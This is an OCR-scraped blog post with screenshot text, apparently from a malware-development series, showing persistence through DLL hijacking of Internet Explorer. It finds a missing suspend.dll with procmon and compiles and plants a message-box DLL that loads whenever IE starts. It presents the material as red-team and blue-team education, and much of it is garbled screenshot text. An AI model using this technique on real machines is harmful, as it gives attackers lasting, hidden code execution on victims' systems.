Malware development: persistence - part 15. Internet
Explorer. Simple C++ example.

@ cocomelonc.github.io/malware/2022/10/12/malware-pers-15.html

October 12, 2022

2 minute read

Hello, cybersecurity enthusiasts and white hackers!

#i <windows.h>
#pragma comment (lib, - "user32.1ib")

BOOL APIENTRY D1lMain(HMODULE hModule, DWORD ul reason for call, LPVOID 1lpReserved) {
(ul_reason_for_cal]ﬂ win10-x64 (pers-default-file) [Running] - Oracle VM VirtualBox
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Meow-woof!

H O Type here to search a

This post is the result of my own research into one of the interesting malware persistence
trick: via Internet Explorer.

internet explorer

In one of my previous posts | wrote about real world example of DLL hijacking. In this time
the victim is Internet Explorer. Surely many of you do not even use it and are unlikely to
deleted it on purpose from Windows system.

practical example
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https://cocomelonc.github.io/malware/2022/10/12/malware-pers-15.html
https://cocomelonc.github.io/pentest/2021/10/12/dll-hijacking-2.html

As in my previous post, let’'s go to run procmon from sysinternals, and setting the following

filters:

win10-x64 (pers-default-file) [Running] - Oracle VM VirtualBox

C File Machine View

malware

Edit Event Filter Tools

Options

LB YAO®|&H £ P

Process Name PID  Operation

Explorpe EXE 2078

i

hl

Help

f

Path

D o A

Result

o] leare ] lear Dol ade u dile y B SLICCESS

Explor BN Process Monitor Filter

Expler
Explor
Expler
Explon | Result
Explor
Explor
Explor Reset
Explor

~||is

Display entries matching these conditions:

~ | NAME MOT FOUND ~| then | Include

Add Remove

Explor
Expler

Explor
Expler
Explon
Explor

contains
is
ends with

iexplore exe
MAME NOT FO
Al

Include
UND Include
Include

Explor 1 %gd Frocess N
Explor @ Process N
Explor| @ Process N
Explor @ Process N

Procmon.exe
Procexp exe
Autoruns.exe
ProcmonB4 exe

Exclude
Exclude
Exclude
Exclude

% Showing 284,320

O Type here to search a

Then run Internet Explorer:

B okI&#mEE T S8 Right Cirl
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https://docs.microsoft.com/en-us/sysinternals/downloads/procmon

win10-x64 (pers-default-file) [Running] - Oracle VM VirtualBox

C File Machine View Input Devices Help

PE-bear malware

fions  Help

| i) FiItersV'|5?a|&p |ﬁn@a¢@

Best match Path Result

fg Internet Explorer

= Desktop app

Search suggestions

£ iexplore - See web results

Backed by virtual memory

L iexplore

W S %) 6 8 Right Ctrl
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Machine View

Input

win10-x64 (pers-default-file) [Running] - Oracle VM VirtualBox

Devices

Help

¥ Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event

LB YAO|&l & P

Process Name

Micro ... [Biexplore exe
Edg ... [ Bliexplore exe

. [Eliexplore exe
Riexplore exe
. [Hliexplore exe
Riexplore exe
. (Hiexplore exe
(Eiexplore exe
. (Bliexplore exe
(Eiexplore exe
3:04:0... Pliexplore.exe
3:04:0... [ Rliexplore exe
3:04:0... Riexplore exe
3:04:0... [Hliexplore exe
3:04:0... Riexplore exe
3:04:0... Piexplore exe
3:04:0... [Riexplore exe

| 3:04:0... Sliexplore.exe
3:04:0... [Rliexplore exe
3:04:0... Piexplore.exe
3:04:0... [ Riexplore exe
3:04:0... Pliexplore.exe
3:04:0... [ Rliexplore exe
304:0... Riexplore exe
3:04:0... [ Rliexplore exe
3:04:0... Riexplore exe
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Filter

Tools  Options

PID
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3748
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3748
3748
3748
3748
3748
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a7an

Operation

m Createfile
m Createfile
1 CreateFile
m Createfile
1 CreateFile
m Createfile
= CreateFile
m Createfile
m CreateFile
m Createfile
m Createfile
m Createfile
m Createfile
1 CreateFile
m Createfile
1 CreateFile
m Createfile
1 CreateFile
m Createfile
1 CreateFile
m Createfile
m CreateFile
m Createfile
m Createfile
m Createfile
m Createfile

AN

Showing 67 of 806,834 events (0.0083%)

Help

.

Path

“\Program Filestintemet exploreriertutil.dl
“Program Filestintemet explorer\mslso.dil
“\Program Files'intemet explorer'|EFRAME.dIl
“\Program Filestintemet explorer\NETAP132 dll
“\Program Files‘intemet explorer\ VERSION dll
\Program Filestintemet explorerWKSCLI.DLL
“\Program Files‘intemet explorerberypt dll
“\Program Filesintemet explorer\NETUTILS.OLL
\Program Filestintemet explorerudmen dlil
“\Program Filestintemet explorer\CRYFTBASE.DLL
“\Program Filesintemet explorerWININET.dIl
“\Program Files\intemet explorer’.SspiCli.dll
“\Program Files\intemet explorer\DSREG.DLL
“\Program Filestintemet explorer'msvep110_win dl
\Program Filestintemet explorer'suspend dil
\Program Files‘intemet explorer'XmiLite dil
“\Program Filestintemet explorer\DXGI.DLL
“Program Files\intemet explorer\ieapfitrdll
\Program Filestintemet explorerslc.dil
“\Program Files'intemet explorer'sppc.dll
“\Program Filestintemet explorerslc.dil
“\Program Files\intemet explorer\sppe.dll
“\Program Filestintemet explorerslc dll
“\Program Files\intemet explorersppc.dl
Program Filestintemet explorerslc dll
“\Program Files\intemet explorersppc dil

T W - R T SRR SN PRI P 1

Backed by virtual memory

D R A

Resutt Detail

MNAME NOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
NAME NOT FOUMND Desired Access:
NAME NOT FOUND Desired Access:
NAME NOT FOUMND Desired Access:
NAME NOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
MNAME NOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
MNAME NOT FOUND Desired Access:
MNAME NOT FOUND Desired Access:
MNAME NOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
NAME NOT FOUMND Desired Access:
NAME NOT FOUND Desired Access:
NAME NOT FOUMND Desired Access:
NAME NOT FOUND Desired Access:
NAME NOT FOUMND Desired Access:
MNAME NOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
MNAME NOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
MNAME NOT FOUND Desired Access:
MNAME NOT FOUND Desired Access:
MNAME NOT FOUND Desired Access:
NAME NOT FOUND Desired Access:

REARAT KIAT FA IR Pt d Ao
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<

H O Type here to search 0

As you can see, the process iexplore.exe is missing several DLLs which possibly can be

used for DLL hijacking. For example suspend.d11:

m Tl ) -

8 0NT #mED T &8 Right Ctrl
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File Machine Vi

Input

winl10-x64 (pers-default-file) [Running] - Oracle VM VirtualBox

Devices

Help

File Edit Ewvent Filter

Process Name

Q=G | 3:04:0... (Eliexplore exe

2B | 3:04:0.. (Siexplore exe
. [Bliexplore exe
. [Eliexplore exe
. [Eliexplore exe
. [Eliexplore exe
. [Bliexplore exe
. [Eliexplore exe
. [Bliexplore exe
. [Eliexplore exe
. [Eliexplore exe
. [Eliexplore exe
. [Eliexplore exe
. [Eliexplore exe
. [Bliexplore exe
. [Eliexplore exe
. [Eliexplore exe
. [Eliexplore exe
. [Eliexplore exe
. [Eliexplore exe
. [Bliexplore exe
. [Eliexplore exe
. [Eliexplore exe
. [Eliexplore exe
. [Eliexplore exe
. [ Hliexplore exe

Z TH [—

Tools

PID

3748
3748
3743
3748
3748
3748
3748
3748
3743
3748
3748
3748
3748
3748
3743
3748
3748
3748
3748
3748
3743
3748
3748
3748
3748
3748

ATan

Operation

m CreateFile
m Createfile
i CreateFile
= CreateFile
m CreateFile
m CreateFile
m CreateFile
m Createfile
i CreateFile
= CreateFile
m CreateFile
m CreateFile
m Createfile
m Createfile
i CreateFile
= CreateFile
m CreateFile
m CreateFile
m Createfile
m Createfile
i CreateFile
= CreateFile
m CreateFile
m CreateFile
m Createfile
m Createfile

L T

Showing 67 of 814,929 events (0.00825%)

Options

BELNRUIYHAO & £ £

Help

C:\Program Filesintemet explorersiertutil dil

¥ Process Monitor - Sysinternals: www.sysinternals.com

Path

vProgram Files“intemet explorerimslso dil
*\Program Fileshintemet explorer\|EFRAME.dI
“\Program Fileshintemet explorer\NETAPI32.dll

\Program Filestintemet explorer \VERSION dll
“\Program Filestintemet explorer\WKSCLI.DLL
“\Program Filestintemet explorer\berypt.dil
“\Program Fileshintemet explorers\NETUTILS.DLL

“Program Fileshintemet explorer'urimeon dll
*\Program Fileshintemet explorer\CRYPTBASE.DLL
“\Program Filestintemet explorer WININET dll
“\Program Files“intemet explorer’SspiCli dll
“\Program Files“intemet explorer\DSREG.DLL
“\Program Files“intemet explorerimsvep 110_win.dll

A

Program Files‘intemet explorerisuspend dll

C:\Program Files"intemet explorer’XmiLite dll
vProgram Filestintemet explorer\DXGI.DLL
“\Program Fileshintemet explorerieapfltr.dll
“\Program Files“intemet explorerislc.dll
vProgram Filestintemet explorer'sppc dil
“Program Files"intemet explorerslc.dll
“\Program Fileshintemet explorer'sppc.dil
“Program Files intemet explorerslc.dll
\Program Fileshintemet explorer\sppe. dil
“\Program Files“intemet explorerislc.dll
“\Program Filestintemet explorersppc dil

O R . P RO PR S PR ]

Backed by virtual memory

1A=

NAME MOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
NAME MOT FOUMND Desired Access:
NAME MOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
NAME MOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
NAME MOT FOUMND Desired Access:
NAME MOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
NAME MOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
NAME MOT FOUMND Desired Access:
NAME MOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
NAME MOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
NAME MOT FOUMND Desired Access:
NAME MOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
NAME MOT FOUND Desired Access:
NAME NOT FOUND Desired Access:
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Result Detail
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- O Type here to search i

Let’s go to search any other probably locations, maybe we have legit DLL:

cd C:\
dir /b /s suspend.dll
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L] win10-x64 (pers—default-file) [Running] - Oracle VM VirtualBox

hC File Machine View Input Devices Help

Recycld] =

[ File Edit Event Filter Tools Options ~ Help

Il °4

__O

)

But as you can see, file not found so, this DLL is used by Internet Explorer only.

Then, | prepared “evil” DLL, meow-woof messagebox:

6/14



/*

evil.c - malicious DLL

DLL hijacking. Internet Explorer
author: @cocomelonc

*/

#include <windows.h>
#pragma comment (lib, "user32.1lib")

BOOL APIENTRY Dl1lMain(HMODULE hModule, DWORD
{
switch (ul_reason_for_call) ({
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow-woof!",
"=A, A",
MB_OK
)
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;

}
return TRUE;

demo

ul_reason_for_call,

LPVOID lpReserved)

Let’s go to see everything in action. Compiling our evil DLL:

x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c

-[~ /hacklng/cybersec blog/2022-10-12-malware-pers-15]
evil.dll evil.c

) - [~/hacking/cybersec_blog/2022-10-12-malware-pers-15]

-rw-r--r-- 1 cocomelonc cocomelonc 544 Oct 12 21:52 dll-def

-rw-r--r-- 1 cocomelonc cocomelonc 563 Oct 12 21:51 evil.c

-rwxr-xr-x 1 cocomelonc cocomelonc 92739 Oct 13 00:11 evil.dll

-PY

) - [~/hacking/cybersec_blog/2022-10-12-malware-pers-15]

Then naming the file suspend.d11 and placing it in the directory where Internet Explorer is

loaded:
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) - [~/hacking/cybersec_blog/2022-10-12-malware-pers-15]

total 100

-rw-r--r-- 1 cocomelonc cocomelonc 544 Oct 12 21:52 dll-def.py
-rw-r--r-- 1 cocomelonc cocomelonc 563 Oct 12 21:51 evil.c
-rwXxr-xr-x 1 cocomelonc cocomelonc 92739 Oct 13 00:11 evil.dll

{ ) - [~/hacking/cybersec_blog/2022-10-12-malware-pers-15]
cp evil.dll suspend.dll

f f Y= PP p—————
w2 winl10-x64 (pers-default-file) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

. 315 AM
£ o AmGd) o B

& B Right Ctrl

And finally try to run our victim application:

8/14



winl0-x64 (pers-default-file) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Meow-woof!
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helrina fevhawmeas BT aa /AT 1A 1T malioama mawme~ TE1
A C
¥ win10-x64 (pers-default-file) [Running] - Oracle VM VirtualBox

File Machine Vi Input Devices Help

1% Process Hacker [WINDOWS-VIHNK33\User] O
Hacker View Tools WUsers Help
%% Refresh {3 Options | &8 Find handles or DLLs ** |Search Processes (Ctrl+K)

Processes Services Metwork Disk

Mame FID CPU  I/Ototal ... Private b.. WUsername

[#] swchost.exe 1004 15.97 MB

[=] svchost.exe 104 0.02 9,12 MB

[#=] svchost.exe 1120 808 MB

2 iexplore.exe 1184 312 MB  WINDOWS-VIH...\User
84 VBoxService.exe 1220 2.93 MB

[55] Memory Compression 1344 T12 kB

[#=] svchost.exe 1444 478 MB oK

[ svchost.exe 1524 3.08 MB
[=] swchost.exe 1576 1.50 MB
[8] swchost.exe 1584 2.25 MB
[#5] SecurityHealthService.exe <

Meow-woof!

CPU Usage: 9.64%  Physical memory: 1.51 GB (48.48%) Processes: 67

H O Type here to search 0
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#i <windows.h>
#pragma  comment  (lib, -"user32.1ib")
BOOL APIENTRY D1lMain(HMODULE hModule,
(ul reason for call ®
DLL_PROCESS ATTACH: File M
MessageBox ( )
NULL,
"Meow-woof!",

n_nA

MB 0K

General Statistics

’

Base address

[“1Hide free regions

DWORD

2Zresults,

ul reason for call, LPVOID 1pReserved)

winl0-x64 (pers-default-file) [Running] - Oracle VM VirtualBox

|| ox1as6dfzs60e 20

| | Address

Length Result

Meow-woofl

}i

00000560
00000570
00000520
00000590
00000520
B 000005b0
000005c0

DLL THREAD DETACH: ooooosas
. 000005e0
’ 000005£0

00000
TRUE;

DLL_PROCESS_DETACH:

DLL_THREAD ATTACH:

00000610
00000620
00000630
00000640
00000650
00000660
00000670
00000680
00000630
000006a0
00000€b0
000006c0
00000640

Re-read

00 00 00
00 0o

£3
60 0o
00 oo
cs ]
oo

[
a0
00 00 00

oo
0o
ed
0o
oo

B iexplore.exe (1184) (0x1a56df28000 - Ox1a36df7h000)

0o
00
as
0s
00
0o
00

00 00 90 00 00 00 00 00 00 00
00 00 00 £3 01
00 00 £f £f £

00 00 75
00 00 E oc
00 00 0o
3d 00 00
o0 0o
00 80 00
0o
00
£ 00
od

00 43

00 ef

00 74

00 &5

00 se

00 &5

00 et

0e 00

00 00 00

00 00 00 0O

00 00 00 00

= spools.

JEXE

After we close pop-up |IE work correctly, not crashed:

Meow-woof!

oK
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1l aea /AT 1A 17 malisamea smawes TE1
win10-x64 (pers-default-file) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

& Can't reach this page (=2 Can't reach this page

¢ hake sure| Internet Explorer
* Search for

* Refresh the

Do you want to close all tabs or the cumrent tab?

Close all tabs Close cument tab

] Always close all tabs

@ More inform

Fix connection problems |

' o r
Gl O Type here to search O i . : Lo~ D)

= # W25 ¥ @ B Right Ctrl

As you can see, it's worked. Perfect! =*..A=

conclusion

We now have achieved persistence via IE.

That’s why this post belongs to the persistence category, our malicious DLL will launch

anytime user starts |IE too. And, when they exit it too. Surprise for my windows lovers. You
don’t even have to install or remove anything.

It's worked also on Windows 11 x64:
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win11-64bit [Running] - Oracle VM Virtual Box
File Machine View Input Devices Help

- Manage

S|
- Home Share View
a2 B2

W Copy path
Finto Quick Copy Paste
access

Application Tools

& Move to ~ X Delete ~

- | - | = Mew Froperties
EI Paste shortcut ) Copy to _ﬁ Rename folder =

ﬂ W] Open -
Edit

History DDIn\rert selection

Clipboard Crganize Mew Open

v “ Prog.. » InternetE.. »

~
MName Date modified
v Cuick access en-us I/ SUF LU T TEUL AV

B Desktop images

+ Downloads SIGNUP

[®] ExtExport Meow-woof!

- Documents

P9 Pictures D hmmapi.dll

& iediagemd
> [l This PC

2 ieinstal
> Ml Metwork 2 ielowutil
[2] IEShims.dil
2 iexplore

D suspend.dll

Search Internet Explorer

FleToIaer

File folder

File folder
Application
Application exten...
Application
Application
Application
Application exten...
Application

Application exten...

FH select all

Select none

Select

Tlitems  1item selected 824 KB

m P B RS Q

B

~ B ) = Wednesday

Although it’s unlikely that anyone will launch IE in 2022, will you agree?

As a Windows bug hunter, if you want to find privilege escalation vulnerabilities on the
operating system itself, you'll often want to start from a blank page, with a clean installation

of Windows.

| don’t know if any APT in the wild used this tactic and trick, but, | hope this post spreads
awareness to the blue teamers of this interesting technique especially when create software,

and adds a weapon to the red teamers arsenal.
This is a practical case for educational purposes only.

DLL hijacking
DLL hijacking with exported functions
source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Ve & WS ¥, 48 B Right Ctrl
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https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
https://cocomelonc.github.io/pentest/2021/10/12/dll-hijacking-2.html
https://github.com/cocomelonc/meow/tree/master/2022-10-12-malware-pers-15
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